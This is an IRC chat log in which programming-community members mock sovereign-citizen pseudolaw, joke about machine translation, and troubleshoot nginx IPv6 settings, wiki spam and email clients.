08:04:03 <elliott_> I bet fizzie knows the answer to my question.
08:04:11 <olsner> you are in fish, your argument is irrelevant
08:04:20 <fizzie> olsner: It's using "pojat" (sons, boys) in the sense of "the Iron Maiden guys", not referring to their offspring. And "going into a fish" -- what it literally says on the page -- is an expression for "going fishing".
08:04:53 <fizzie> I don't know about finding.
08:04:58 <Sgeo> I'm looking at this stuff myself, instead of on IRC
08:05:02 <Sgeo> It reminds me a bit of Cyc
08:05:55 <fizzie> olsner: Oh, I see, it was the later line. Yes, translated literally it's "the sons of Iron Maiden were in a fish". It's just that it's an expression for fishing again.
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08:07:18 <Sgeo> http://davidwynnmiller.com/about.html
08:07:23 <Sgeo> Miller remarked that the genesis of Truth-language was when he "turned Hawaii into a verb" and showed "how a preposition is needed to certify a noun."[
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08:07:33 <elliott_> http://www.cacert.org/ -- ah, it's this thing, is it not?
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08:07:36 * Sgeo hawaiis elliott_
08:07:37 <elliott_> Sgeo: turned hawaii into a verb :D
08:07:49 <elliott_> "Oops. Guys. Guys, I think I just turned Hawaii into a verb."
08:07:55 <elliott_> "People lived there, you know."
08:07:58 <monqy> sgeo how do you know it is transitive
08:08:03 <elliott_> "Yes. They've been hawaiied now."
08:08:28 <fizzie> "Up rose the shoe. "Look at the boys. Nokia kind! ". Steve replied, "Yes. That's a Bear's jogging shoe. " "Share. There is therefore a shark-boot. " Bruce remarked with disappointment."
08:08:34 <fizzie> I like these jokes more in your language.
08:09:01 <monqy> misread jogging as juggling
08:09:06 <monqy> a bear's juggling shoe
08:09:38 <olsner> fizzie: is "share" mistranslated there?
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08:10:34 <Sgeo> I don't get how this stuff catches on
08:10:53 <olsner> Steve sit låg såg och sade Bruce pojulle på "hör ingen MPLIANCEWITH oo Mika hai, det är en mört "
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08:11:29 <fizzie> olsner: Yes. In the source text it's "jaa" as in a mostly meaningless "oh"-type word, not "jaa" as in the second-person singular imperative form of the verb "jakaa", to share.
08:11:31 <Sgeo> According to Miller's teaching, the addition of hyphens and colons to one's name turns one from an ordinary, taxable human into a non-taxable “prepositional phrase.”
08:11:33 <elliott_> Oh, the root certititititititititittificate of CACert is not in the OSeseseseseses, says a thing.
08:11:35 <Sgeo> http://en.wikipedia.org/wiki/David_Wynn_Miller
08:11:37 <elliott_> Will that cause the big red flashing screen?
08:11:49 <elliott_> Sgeo: Reminds me of the Freeman stuff.
08:12:10 <elliott_> Where your UPPERCASE LEGAL NAME is what goes through all the legal stuff, and it's just a proxy for the real you, which you just have to insist be referred to as a first name.
08:12:17 <elliott_> And then you don't have to do anything so long as you don't hurt anyone else.
08:12:53 <elliott_> "Veronica: of the Chapman family" is an... interesting rendition of a name.
08:14:04 <olsner> "Iron Maiden were the sons of a world tour."
08:14:38 <Sgeo> elliott_, suppose these people think they're right, evade taxes or whatever, and are arrested.
08:14:39 <fizzie> olsner: I have zero idea where it gets the "MPLIANCEWITH" from.
08:14:47 <fizzie> olsner: It's also in the Finnish-to-English translation.
08:14:49 <Sgeo> What do they conclude? That their arrest was unlawful?
08:15:03 <Sgeo> Because this is promising freedom from arrests, I think.
08:15:16 <Sgeo> Not "if they arrest you, they're the ones breaking the law, know this in your heart"
08:15:56 <elliott_> Sgeo: They're delusional; of course they'll make up a perfectly convincing explanation for themselves.
08:16:03 <elliott_> Or realise it was bunk; there isn't really a third option.
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08:16:31 <elliott_> http://rationalwiki.org/wiki/Freeman_on_the_land has lots of words, if you're willing to brave the RW stench.
08:17:25 <elliott_> Oh, and IIRC there's actually a subreddit with those freeman cranks.
08:17:45 <elliott_> Yes, /r/CommonLaw I think http://www.reddit.com/r/CommonLaw/comments/7erku/introduction_overview_to_the_common_law_subreddit/
08:18:11 <pikhq_> Strange, considering common law precedent estabilishes they're fucked.
08:18:34 <fizzie> "Iron Maiden boys were fucking groupies backstage. Bruce asked, the girl to see if could also poke to second place. She vigorously denied. "Share. There is thus an accordion. " Bruce remarked with disappointment."
08:18:55 <elliott_> fizzie: I think they are better without the jokes.
08:19:37 <elliott_> "The DECEPTION of: INCLUDE(S) used by TV LICENSING oop's sorry! CONSIGNIA (CUSTOMER MANAGEMENT) LTD also Traded as TV LICENSING"
08:19:49 <elliott_> http://www.tpuc.org/node/609 beautiful
08:20:24 <elliott_> Sgeo: "This is then followed by what is known as a "fee schedule" or "penalty schedules", listing a series of acts and associated penalties the freeman will attempt to levy against the government for perceived transgressions. e.g., if the state incarcerates a freeman against their will then will attempt to charge the state a fee for this action."
08:20:30 <elliott_> See, they won't imprison you, because they'd have to pay you money.
08:20:53 <Sgeo> elliott_, monqy tswett UPDATE
08:21:05 <pikhq_> Also, curiously, in several jurisdictions David's legal name might well be JUDGE :David-Wynn: Miller.
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08:21:30 <pikhq_> (use suffices to estabilish naming in several common-law jurisdictions)
08:21:43 <ion> There should be a place for bad jokes that don’t translate into English translated into English.
08:21:51 <fizzie> I have understood there's quite a lot of people who have all kinds of different crazy reasons for why they don't need to pay taxes.
08:22:31 <olsner> ion: maybe that place is finland
08:22:39 <fizzie> "UNDERSTAND is synonymous with STAND-UNDER; this is how they gain AUTHORITY over you."
08:22:55 <fizzie> Oh no! I think I'll fight that by never understanding anything.
08:23:21 <elliott_> You're well on your way, speech recognition researcher.
08:23:25 <elliott_> They never understand anything.
08:23:25 <olsner> reach the top and everyone will understand you
08:23:28 <elliott_> That's why they do speech recognition.
08:23:29 <pikhq_> fizzie: Ironically, most of them probably make enough that they have effective 0% income tax rates.
08:23:51 <fizzie> elliott_: GAH. I had like an 80%-done "pre-emptive joke" about that.
08:24:57 <elliott_> It's not surprising you're late. Have you noticed how those speech recognition programs take so long to understand you that you have to keep stopping talking to let it catch up?
08:25:02 <elliott_> Probably because it's useless.
08:25:14 <fizzie> I think I'll go sob some lunch. I mean, eat.
08:25:32 <elliott_> "Freemen see a distinction between what they call common law and statute law, which they refer to as admiralty law or "law of the sea", sometimes also known as maritime law or the "universal commercial code" (a distortion of the US-only Uniform Commercial Code). Through a stunning misunderstanding of etymology, they see admiralty law as being the law of commerce, the law of ownership, citizenship, and indeed anything else ending in "-ship". They
08:25:32 <elliott_> see evidence of this in various nautical-sounding terms used in court, such as "dock", "birth (berth) certificate", "-ship" suffixes and any other fancy word they think might have a vaguely naval sound."
08:25:46 <elliott_> fizzie: Cry into the email and so on.
08:26:47 <elliott_> "Freemen will try to claim common law (rather than admiralty law) jurisdiction by asking "do you have a claim against me?", which supposedly removes their consent to be governed by admiralty law and turns the court into a common law court, forcing the court to proceed according to their version of common law. (This has never worked.)"
08:27:20 <elliott_> "When judges leave the courtroom, Freemen will attempt to claim common law authority and then attempt to dismiss the charges themselves, often with a cry of "ship abandoned" or "man overboard".[12][13]"
08:28:21 <Sgeo> Wouldn't they person literally need to be over a board, by the style of logic they use?
08:28:40 <pikhq_> This makes krokodil users look sane. And krokodil is a drug with *necrosis* as a side effect.
08:28:41 <Sgeo> Also consider that, a ship can't be literally abandoned unless there's no one on it.
08:29:18 <pikhq_> Sgeo: Ah, bout MAN-OVER-A-BOARD would be a prepositional phrase and thus have no legal authority.
08:30:09 <elliott_> Sgeo: The "man" in this case is the charge, I think.
08:30:21 <elliott_> So it's overboard and thus no longer understood (relative to the person saying it).
08:30:25 <elliott_> The board being the floorboards.
08:31:16 <elliott_> http://www.youtube.com/watch?v=oXv1a7yiN0w
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08:32:51 <elliott_> "have you got the birth certificate" oh my god
08:33:13 <fizzie> "I feel 'guilty', because I owe the money". No, you don't owe a damn thing! When taking out the loan, you were 'loaned' back what was yours in the first place. You created the 'money' when you signed the Loan or Credit Application. By doing so, YOU gave THEM a Negotiable Instrument called 'the money'. They cashed this in(*), and then used that to loan you back your own money. You don't owe a damn thing! THEY owe YOU - an apology at the very least - ...
08:33:13 <elliott_> "This is Mr Stephen Barry, A Birth Certificate"
08:33:19 <fizzie> ... for applying this confidence trick on you - AND FOR CHASING YOU FOR SOMETHING YOU ALREADY GAVE THEM.
08:34:18 <fizzie> So if you're out of money, just go to a bank and create some by applying for a loan.
08:34:27 <fizzie> It doesn't need to be paid back, since you created it.
08:34:34 <pikhq_> elliott_: I think the only proper response to that is "We find against this idiot for being an idiot."
08:34:38 <olsner> true in a sense, much "money" does get created by debts
08:35:47 <pikhq_> Probably not legal, but highly tempting.
08:35:54 <pikhq_> And has saner legal theory in favor of it.
08:42:54 <elliott_> what a crock of shit that video is
08:43:22 <elliott_> "and a charlie sheen win for free man .
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09:04:03 <shachaf> elliott_: Did you see that other GHC issue they found in #haskell the other day, by the way?
09:05:06 -!- monqy has quit (Quit: hello).
09:06:54 <fizzie> "Mika Rasila gets stopped by the police for not having a licence plate. He tells them that he doesn't consent to their laws and that he isn't an employee of the "corporation of Canada". It doesn't work and they arrest him and impound his van. A judge later gives him a fine of $1,250."
09:07:00 <fizzie> Based on the name I'd guess this winner is likely to have Finnish connections.
09:07:44 <elliott_> Guess those FINS SUNK HA HA HA HA HA AH AH AH AH AH AKLAKL AH AH SFDJKLSD SGNKSDFOGMK SERK SEROGK SG; SERPKGM SER'GK SEGK ER'K SER\L ETL ER][TL ]\ET ]\W;R WER ][WE;R WE;R WER][ W ;WER W]\R ][WE;R WE; ;WER R; WE[\R WER ][E WE][R; W][E;R E][;R WERR]\ ;WER; WER][ ;]\WER; RWE[R WER ]\WE;RWER;WE\ W;R][ ;WER]\ ;WER WER
09:07:49 <elliott_> WER; ]WE[R; ][WE;R\ ]WE;R ]\WE;RWER ]\W;R ]\WE;RER]\ W;ER WEREWR WER ]\R ;WE][R; ]\WER; ]\[R; ]W\ER; ]\WER; []WER
09:07:54 <elliott_> WER; ]'\WER; ]\WE;R WER WER; ]\ER; ][WER; ]\WER; ][WER; ]WER ]\WE;R ]\;WE; R]\ R][WE R\[WER ][;E RW\E RWE[\R; \WE;R ]\WER WE R
09:08:20 <shachaf> elliott_: :set -XImpredicativeTypes
09:08:32 <shachaf> let xs :: [forall a. a -> a]; xs = id
09:09:00 <elliott_> GHCi is too hard at 9 am in the mronign.
09:09:06 <shachaf> What, you want me to paste in the type error?
09:09:55 <shachaf> I'll only paste it in... Channels that have a less strict pasting policy.
09:10:31 <elliott_> there are no channels with a less strict pasting policy than here
09:10:48 <elliott_> To configure an HTTPS server you must enable the SSL protocol in the server block, and specify the locations of the server certificate and private key files:
09:10:49 <elliott_> ssl_certificate www.nginx.com.crt;
09:10:51 <elliott_> ssl_certificate_key www.nginx.com.key;
09:10:53 <elliott_> ssl_protocols SSLv3 TLSv1 TLSv1.1 TLSv1.2;
09:11:01 <elliott_> The server certificate is a public entity. It is sent to every client that connects to the server. The private key is a secure entity and should be stored in a file with restricted access, however, it must be readable by nginx’s master process. The private key may alternately be stored in the same file as the certificate:
09:11:05 <elliott_> ssl_certificate www.nginx.com.cert;
09:11:07 <elliott_> ssl_certificate_key www.nginx.com.cert;
09:11:09 <elliott_> in which case the file access rights should also be restricted. Although the certificate and the key are stored in one file, only the certificate is sent to a client.
09:11:12 <elliott_> The directives ssl_protocols and ssl_ciphers can be used to limit connections to include only the strong versions and ciphers of SSL/TLS. Since version 1.0.5, nginx uses “ssl_protocols SSLv3 TLSv1” and “ssl_ciphers HIGH:!aNULL:!MD5” by default, so configuring them explicitly only makes sense for the earlier nginx versions. Since versions 1.1.13 and 1.0.12, nginx uses “ssl_protocols SSLv3 TLSv1 TLSv1.1 TLSv1.2” by default.
09:11:14 <Sgeo> You're following :JUDGE: now?
09:11:29 <elliott_> shachaf: dcan you apste me the sytnaxtwe eroer
09:13:13 <shachaf> I'll talk to you when you're less $WHATEVER.
09:13:34 <elliott_> wanting to see an error message
09:13:41 <elliott_> & crying in a sadness that this is not yet presently happening & cry
09:14:28 <elliott_> shachaf: can you get me a decent copy of worms armageddon that works on machines without optical drive. thank
09:14:52 <Sgeo> elliott_, you can't mount using loopback?
09:15:13 <elliott_> Sgeo: i did all "the shits" as they say but after a long process it's just access violation'ing
09:15:20 <elliott_> apparently the pirated copies are "the buggy"
09:15:25 <elliott_> mostly i just can't find anyone else with this problem
09:15:30 <elliott_> and there are quite a few Wine users
09:15:35 <elliott_> so i presume it's a problem with this iso
09:18:08 <shachaf> elliott_: ERROR: NO ERROR MESSAGE FOUND
09:19:04 <elliott_> ok this is a good ``torrential reain''
09:19:10 <elliott_> perhaps itw ill 1``enfix the probelem''
09:36:40 <elliott_> Hmph. Other ISo gets same error.
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09:54:09 <ais523> spammer got past the CAPTCHA
09:54:13 <ais523> could you check to make sure it's a human?
09:54:25 <ais523> (I indef-blocked the account, auto-blocked the IP, deleted the page and blacklisted the domain)
09:55:00 <elliott_> hmm, doesn't auto-block happen automatically?
09:55:47 <ais523> I just mean I didn't turn it off
09:56:05 <elliott_> wow, all IPv4 IPs are prefixed by ::ffff: in the logs ever since I enabled IPv6
09:56:42 <elliott_> ais523: looks human to me, except this one is using something that looks like IE7, rather than IE8
09:56:43 <elliott_> compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; In
09:56:43 <elliott_> foPath.2; AskTbHIP/5.13.1.18107; .NET4.0C; .NET4.0E
09:56:56 <ais523> the IP traces to a large Indian ISP
09:57:06 <elliott_> ::ffff:122.170.55.182 - - [01/Mar/2012:09:42:28 +0000] "GET /wiki/User:Udoylehinesf HTTP/1.1" 404 5441 "http://esolangs.org/w/index.php?title=Special:UserLogin&returnto
09:57:06 <elliott_> =User%3AUdoylehinesf" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media C
09:57:06 <elliott_> enter PC 6.0; InfoPath.2; AskTbHIP/5.13.1.18107; .NET4.0C; .NET4.0E)"
09:57:14 <elliott_> hmm, so they tried to register another user first and failed, or something
09:58:03 <elliott_> they didn't seem to load any captcha page, although the log format is too annoying for me to tell for sure
09:58:16 <elliott_> i'm not too worried about the level of spam so far
09:58:27 <elliott_> ais523: btw, do you know how I could make "Prevent user from sending e-mail" the default?
09:58:39 <elliott_> there's no real reason for spammers to be able to email people, but only your block has it set so far because i'm lazy :p
09:58:53 <ais523> I don't know, although it wouldn't surprise me i there was a config setting somewhere
10:11:07 <fizzie> elliott_: echo 1 > /proc/sys/net/ipv6/bindv6only + nginx "listen [::]:80 ipv6only=on; listen 80;" but maybe it's not really worth it. (Alternatively, having just a list of explicit v4 and v6 listen directives would also do it.)
10:12:32 <elliott_> fizzie: Hmm-hmm, explicit howso?
10:13:00 <elliott_> "When you enable the address [::]:80, binding port 80 using IPv6, in the listen directive, in Linux, by default, the IPv4 port 80 is also enabled. Meaning that nginx listens for both IPv4 and IPv6 incoming traffic. Therefore if you erroneously specify also a IPv4 address you'll get an already bind address error when reloading nginx configuration.
10:13:00 <elliott_> In Linux the separation of the IPv6 and IPv4 stacks is controlled through the runtime parameter: net.ipv6.bindv6only which has the value 0 by default.
10:13:00 <elliott_> If you want to use separate sockets for IPv4 and IPv6 you should set this parameter to 1 using sysctl."
10:13:10 <elliott_> Surely there must be some easier way.
10:13:21 <fizzie> Explicit as in, "listen 178.79.159.81:80; listen [2a01:...]:80; listen 127.0.0.1:80; listen [::1]:80;"
10:14:47 <elliott_> fizzie: That goes in sysctl.conf, right?
10:14:50 <elliott_> As in, net.ipv6.bindv6only = 1.
10:14:57 <fizzie> It's doable there, yes.
10:15:10 <fizzie> I couldn't quote figure out from the docs if the 'ipv6only=on" option alone would be enough.
10:15:43 <fizzie> Well, I mean, you can echo 1 to the /proc version from anywhere. But sysctl.conf (or sysctl.d) are probably cleaner.
10:15:57 <elliott_> Yes, I can echo it there but it won't persist.
10:16:26 <fizzie> Anyway, it's (IIRC) possible for an application to say "I don't want this V6 wildcard socket to listen to v4", so if ipv6only=on does that, maybe just having those two listen's would do it.
10:16:39 <fizzie> Though the documentation did seem to slightly suggest that the sysctl is also necessary.
10:16:43 <elliott_> nginx: [emerg] invalid parameter "ipv6only=1" in /etc/nginx/sites-enabled/esolangs.org:4
10:16:55 <elliott_> You have ~1 second to come up with a decent fix before I revert this to fix the downtime :P
10:17:00 <fizzie> It's "on" in the docs.
10:17:05 <fizzie> I don't know if 1 is the same thing.
10:17:26 <elliott_> nginx: [emerg] duplicate listen options for [::]:80 in /etc/nginx/sites-enabled/esolangs.org:12
10:17:43 <elliott_> Perhaps something's breaking because I also have the default server
10:25:07 <fizzie> elliott_: According to http://serverfault.com/questions/277653/nginx-name-based-virtual-hosts-on-ipv6 (the bit after "Edited to add:") the dude seems to have the "ipv6only=on" only in the first listen directives, and then just the plain "listen [::]:80; listen 80;" in the vhosts. If you want to fiddle.
10:26:08 <fizzie> (Apparently you only put the extra options in one of them.)
10:27:19 <elliott_> I think I will hold off until anyone can actually access the site via IPv6.
10:28:52 <elliott_> http://www.worldipv6launch.org/ -- I have until June.
10:29:21 <elliott_> Like one of them Finnish jokes.
10:29:48 <fizzie> They seem to have the top 4 Alexa-ranked websites as participants. (Then there's a bit of a gap, since Bing is just the 26th.)
10:30:56 <fizzie> No ISPs in Finland, and just 5 crummy websites. :/
10:31:06 <elliott_> Also Cisco, which impresses me quitely, because it means they'll turn IPv6 on by default on all their new routers, according to their page.
10:31:19 <elliott_> That seems like the kind of thing that could be doing a lot of breaky.
10:32:00 <fizzie> Maybe they're hoping the networks people connect to won't have it apparently-enabled until it actually works.
10:32:17 <elliott_> Internet engineers still have hope?
10:34:54 <fizzie> Well, that, or maybe they just don't care any more. It's not their customer service department that will be fielding the calls, after all.
10:40:02 <elliott_> fizzie: Don't you feel a bit less Finnish without native IPv6 now?
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10:49:57 <fizzie> http://www.vyncke.org/ipv6status/detailed.php?country=fi we are full of fail. :/
10:51:40 <elliott_> http://www.vyncke.org/ipv6status/detailed.php?type=&country=uk Excuse me, we fail more.
10:51:50 <elliott_> http://www.vyncke.org/ipv6status/detailed.php?type=&country=ae HA.
10:52:03 <elliott_> http://www.vyncke.org/ipv6status/detailed.php?type=&country=sj 101% of Svalbard's websites at IPv6-enabled.
10:52:20 <elliott_> http://www.vyncke.org/ipv6status/detailed.php?type=&country=kp YOU CANNOT HAVE DEMOCRACY BEFORE IPV6.
10:54:00 <elliott_> BAZOOM. Our Main Page just changed.
10:54:04 <elliott_> http://esolangs.org/wiki/Main_Page DRASTICALLY.
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10:56:43 <elliott_> fizzie: Do you SEE the DIFFERENCE?
10:56:57 <fizzie> Only after looking at "view history".
10:57:10 <fizzie> Also I like how clearly you can see the last year's IPv6 day in http://www.vyncke.org/ipv6status/worldwide-W-legacy.png
10:58:15 <elliott_> tswett: do you want [[surprised look]] deleted
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11:05:32 <ais523> yay, I actually managed to ping myself before the connection dropped this time :)
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11:10:29 <Sgeo> Did we ever get a spec for :o
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12:26:13 <elliott_> http://en.wikipedia.org/wiki/Unparliamentary_language#Canada
12:27:01 <elliott_> http://en.wikipedia.org/wiki/Unparliamentary_language#Canada
12:27:06 <elliott_> http://en.wikipedia.org/wiki/Unparliamentary_language#New_Zealand
12:39:00 <ais523> In December 2009, Paul Gogarty apologised in advance for using "unparliamentary language" prior to shouting "fuck you!" at an opposition chief whip.[7] This phrase was not one of those listed explicitly as inappropriate, prompting calls for a review.[9]
12:39:29 <ais523> so was the review about whether "fuck you!" is inappropriate, or about whether it's correct to apologise for using phrases not on the inappropriate phrases list?
12:40:03 <elliott_> how dare you insinuate "fuck you" is unparliamentary language :)
12:40:59 <elliott_> http://www.nzhistory.net.nz/politics/history-of-parliament/bad-language
12:41:51 <elliott_> "Wikispecies is free, because life is in the public domain!"
12:41:51 <elliott_> "Text is available under the Creative Commons Attribution/Share-Alike License; additional terms may apply. See Terms of use for details."
12:41:56 <fizzie> "I would cut the Honourable gentleman's throat if I had the chance"
12:42:55 <elliott_> "His brains could revolve inside a peanut shell for a thousand years without touching the sides"
12:43:10 <elliott_> You'd think you'd only need a year or two to establish the size.
12:43:19 <fizzie> The quality of the insults certainly has gone down lately.
12:43:46 <elliott_> I like how "Ayatollah" is apparently unparliamentary language.
12:43:55 <elliott_> That must make some discussions rather difficult.
12:44:29 <elliott_> ais523: hey, when do you think we should take down the sitenotice?
12:44:41 <ais523> Vorpal's seen it now, so so has everyone else
12:44:42 <elliott_> I was thinking either now or in 5 days or so when a fortnight has passed
12:44:44 <ais523> so may as well take it down
12:44:52 <elliott_> haha, how do you know Vorpal's seen it?
12:44:58 <ais523> his reaction in channel was hilarious
12:45:05 <ais523> I think it was yesterday or the day before
12:45:18 <ion> That sounds dirty.
12:45:36 <elliott_> 12:23:57: <Vorpal> I'm just worried that it will suddenly go down. Previously ehird's server haven't been the most stable in the long term.
12:45:48 <elliott_> Er, wasn't I clear that this was a secret plan to destroy the esolang world forever?
12:45:58 <elliott_> Anyway, too many people would yell at me if it goes down now.
12:46:10 <elliott_> 12:23:57: <fizzie> Clarity in Expression 2012 campaign message again: esolangs.org is pointing at elliott's thing, he doesn't "own" the domain, which is what a reasonable person would assume you're referring to if you just say it like that.
12:46:28 <elliott_> You can blame THE ALAN DIPERT's continued ownership of that domain for the lack of IPv6 and general GoDaddyosity. :'(
12:46:42 * Jafet points at elliott's thing.
12:46:43 <ais523> elliott_: even if you were clear, I don't think Vorpal would believe you
12:46:53 <ais523> or at least, even if he did, he'd pretend not to for humour value
12:46:56 <elliott_> ais523: That was rather below my threshold for hilarious. :(
12:47:07 <ais523> I thought the discussion about a coup was funny
12:47:11 <elliott_> Not enough apologies! I need some grovelling.
12:47:13 <ais523> or just the first couple of lines
12:47:16 <elliott_> Okay, it was at least moderately amusing.
12:47:21 <ais523> new Mediawiki, hmm and elliott's behind it?
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12:48:22 <elliott_> Also prgmr want more money from me but so do Linode. :(
12:48:33 <elliott_> And I don't want to cancel the prgmr before I can get out my other laptop which has the SSH key I need to back up the files on there.
12:48:47 <elliott_> But I also don't want to pay an extra $20, so I'm just going to not pay prgmr and hope they don't notice before I stop being lazy.
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12:50:00 <ais523> hmm, so it seems that Visual C++ version 11 doesn't support Windows XP in the binaries it produces
12:50:14 <elliott_> wow, you can protect deleted pages on wikipedia
12:50:23 <elliott_> ais523: presumably just "by default"
12:50:26 <ais523> yep, that's been around for a while
12:50:42 <ais523> elliott_: it doesn't ship with a libc that runs on windows XP
12:50:49 <ais523> so you'd need to find one from somewhere
12:51:00 <elliott_> meh, that doesn't sound difficult
12:51:19 <ais523> (the libc gets statically linked on Windows, usually, it seems)
12:51:50 <elliott_> XP is getting a bit long in the tooth, anyway.
12:52:06 <elliott_> It's not supported any more, so no big surprise that Microsoft don't care if their new products work with it.
12:52:40 <ais523> what does SFINAE mean? trying to read about C++ is tricky because of all the acronyms
12:52:50 <ais523> (I can ask this safely as I don't pretend to understand more than a smallish subset of C++)
12:52:58 <elliott_> http://en.wikipedia.org/wiki/Substitution_failure_is_not_an_error
12:53:14 <elliott_> answered in 2 seconds with the help of google, inc. :P
12:53:19 <ais523> I'm a little surprised it's major enough to have a Wikipedia article about it…
12:53:26 <elliott_> acutally, [[SFINAE]] even redirects there
12:54:41 <ais523> I'd have tried Wikipedia first if I expected the article to exist
12:54:52 <ais523> and wow, the concept itself is beautifully ridiculous :)
12:55:06 <elliott_> MW 1.19 should hurry up and come out so I can put it on Esolang.
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12:56:14 <ais523> what does 1.19 have that you want?
12:59:34 <elliott_> ""Massive Multiauthor Collaboration Site" (or "MMC Site") means any World Wide Web server that publishes copyrightable works and also provides prominent facilities for anybody to edit those works."
12:59:48 <elliott_> ais523: conjecture: Wikipedia's relicensing to CC failed, because not everybody could edit Wikipedia at the time
13:00:13 <ais523> I don't see why that would be relevant
13:00:26 <ais523> I believe they could relicense the content without anyone's permission but the FSF if they really wanted to
13:00:32 <ais523> but they decided to seek permission anyway
13:00:34 <elliott_> "Massive Multiauthor Collaboration Site" (or "MMC Site") means any World Wide Web server that publishes copyrightable works and also provides prominent facilities for anybody to edit those works. A public wiki that anybody can edit is an example of such a server. A "Massive Multiauthor Collaboration" (or "MMC") contained in the site means any set of copyrightable works thus published on the MMC site.
13:00:34 <elliott_> "CC-BY-SA" means the Creative Commons Attribution-Share Alike 3.0 license published by Creative Commons Corporation, a not-for-profit corporation with a principal place of business in San Francisco, California, as well as future copyleft versions of that license published by that same organization.
13:00:35 <elliott_> "Incorporate" means to publish or republish a Document, in whole or in part, as part of another Document.
13:00:38 <elliott_> An MMC is "eligible for relicensing" if it is licensed under this License, and if all works that were first published under this License somewhere other than this MMC, and subsequently incorporated in whole or in part into the MMC, (1) had no cover texts or invariant sections, and (2) were thus incorporated prior to November 1, 2008.
13:00:41 <elliott_> The operator of an MMC Site may republish an MMC contained in the site under CC-BY-SA on the same site at any time before August 1, 2009, provided the MMC is eligible for relicensing.
13:00:46 <elliott_> that's the FDL text that allowed it to go through
13:00:54 <elliott_> I'm arguing it's inapplicable to Wikipedia on a technicality
13:01:06 <ais523> technicalities don't apply in legal documents, though
13:01:07 <fizzie> Massive Multiplayer Online Collaboration Game, a MMOCG.
13:01:19 <elliott_> pah, "anybody" seems pretty clear to me
13:01:33 <ais523> I also like the definition of "incorporate", there
13:01:39 <elliott_> happy mailman mailing list reminders day
13:01:40 <ais523> because it's so different from the normal legal meaning
13:01:54 <ais523> elliott_: I think I got my reminders before you did
13:02:01 <ais523> and I already happy-thatted yesterday for the Australian version
13:02:31 * ais523 notes that it's possible to verb even relative pronouns
13:02:38 <elliott_> I probably just checked my email later than you did
13:03:31 <ais523> oh, you check email actively?
13:03:46 <ais523> I just leave Evolution backgrounded and look at it when the new-messages popup comes up
13:03:52 <ais523> that's what I meant by actively
13:03:58 <ais523> you make a decision to check it
13:04:04 <ais523> rather than checking it in the background, so to speak
13:04:17 <elliott_> it's easier to open a tab and type the first few letters of "gmail" than it is to install a notifier :P
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13:05:25 <ais523> err, what? Evolution was installed on here by default
13:05:39 <ais523> admittedly, it needed to be configured to contact all three of my email addresses
13:05:56 <ais523> and I really don't get why people use web browsers to access all sorts of services they aren't designed for
13:06:03 <ais523> gmail's interface is hideous compared to Evolutions
13:06:14 <ais523> (and yes, I have used gmail, although I didn't create the account)
13:09:34 <ais523> and I'm not convinced it's possible to build a good interface inside the browser, because the browser is doing its own thing that's optimised for browsing
13:09:41 <ais523> not to mention, GMail doesn't work offline
13:09:53 <ais523> (I think they were trying to come up with some convoluted scheme to fix that, but still…)
13:12:36 <elliott_> <ais523> err, what? Evolution was installed on here by default
13:12:44 <elliott_> <ais523> and I really don't get why people use web browsers to access all sorts of services they aren't designed for
13:12:54 <ais523> it is, it notifies by default if you leave it running
13:13:05 <elliott_> ais523: yes, but it also connects via IMAP and creates rubbish IMAP folders and junk
13:13:12 <elliott_> admittedly, mostly an artifact of gmail's IMAP bridge
13:13:17 <ais523> and evolution-alarm-notifier (the calendar notifier) runs even if Evolution isn't running, if the calendar is non-empty
13:13:25 <elliott_> anyway, evolution's interface is horrible compared to gmail; I don't particularly want something that runs in the browser either, but
13:13:30 <ais523> well I don't have this problem because I'm not using gmail
13:13:42 <elliott_> are two things I can't use any mail client that lacks
13:13:48 <elliott_> *restructure that so it makes sense
13:14:05 <ais523> hmm, I tend to turn threading off in things that support turning it off
13:14:09 <ais523> I turned it off in my newsreader, for instance
13:14:19 <ais523> so that I don't have to click round between multiple threads to find all the messages that have arrived recently
13:14:24 <elliott_> I've reviewed many, many alternatives to gmail and there's nothing that I would consider an adequate replacement for its interface for even the basic mail tasks I do
13:14:41 <elliott_> believe me, if I could have control over my email with an interface I could stand, I would have done it ages ago
13:15:02 <ais523> so here's one for you: suppose you need to mark all the messages in your inbox with a particular string in their subject line as unread
13:15:04 <Vorpal> I found that alpine is quite a nice client.
13:15:07 <ais523> how do you do that in gmail?
13:15:09 <elliott_> I would find navigating and reading e.g. Agora mail without conversations or at least standard threading impossible, since I've usually forgotten a thread when new messages get posted in it
13:15:17 <ais523> (note: actual real-world problem I had a while ago)
13:15:20 <fizzie> I don't think Evolution worked very well offline either, but that was several years back. (I mean, assuming all the email is on an IMAP server somewhere. At the very least, it needed some manual marking of which folders need to be available.)
13:15:23 <ais523> elliott_: that's what quoting's for, right?
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13:15:43 <elliott_> ais523: search for the string, click check box in the top-left, click the second sentence link in "All 20 conversations on this page are selected. Select all conversations that match this search", more -> mark as unread
13:15:46 <ais523> fizzie: right, it does, but they've improved the interface by exposing that option right when you're configuring the account
13:15:54 <elliott_> ais523: you can also use a filter to apply it to all incoming mail (and then apply that filter retroactively)
13:15:55 <ais523> elliott_: some messages contain the string not in the subject line
13:15:58 <elliott_> and filters can be quite involved
13:16:00 <ais523> and those ones shouldn't be marked as unread
13:16:19 <ais523> also, this is one-off so filters aren't helpful, and putting the string in the search box also finds messages that don't contain the exact string, but an approximation
13:16:28 <elliott_> filters can be used for one-off operations
13:16:42 <elliott_> and "subject:X" seems exact here
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13:16:49 <Vorpal> Personally I use IMAP with thunderbird on top of gmail. I'm sure you are all going to hate me for that...
13:16:52 <elliott_> if not, something silly like subject:+"test" would be
13:16:57 <ais523> it's still a lot more work than setting the search style to "subject" then typing in the string to search on
13:17:00 <fizzie> ais523: That's Tfoo\n;wN in mutt.
13:17:09 <elliott_> ais523: not really, I could have used keyboard shortcuts
13:17:59 <Vorpal> what annoys me with the web interface of gmail is mostly that it doesn't use a monospace font for text-only mails.
13:18:08 <elliott_> where <???> = something I don't know to go from "selected all on page" -> "selected all"
13:18:21 <elliott_> you have to enable a Lab, but that's one click
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13:20:37 <elliott_> Vorpal: bleh, seems it's gone, or I just hallucinated it -- otoh there's about 500 user styles for it says a quick search
13:22:19 <Vorpal> elliott_, anyway another annoyance with gmail is that I can't gpg-sign or verify gpg-signatures. Not sure how signing would work even, I would certainly not trust uploading my private key to google.
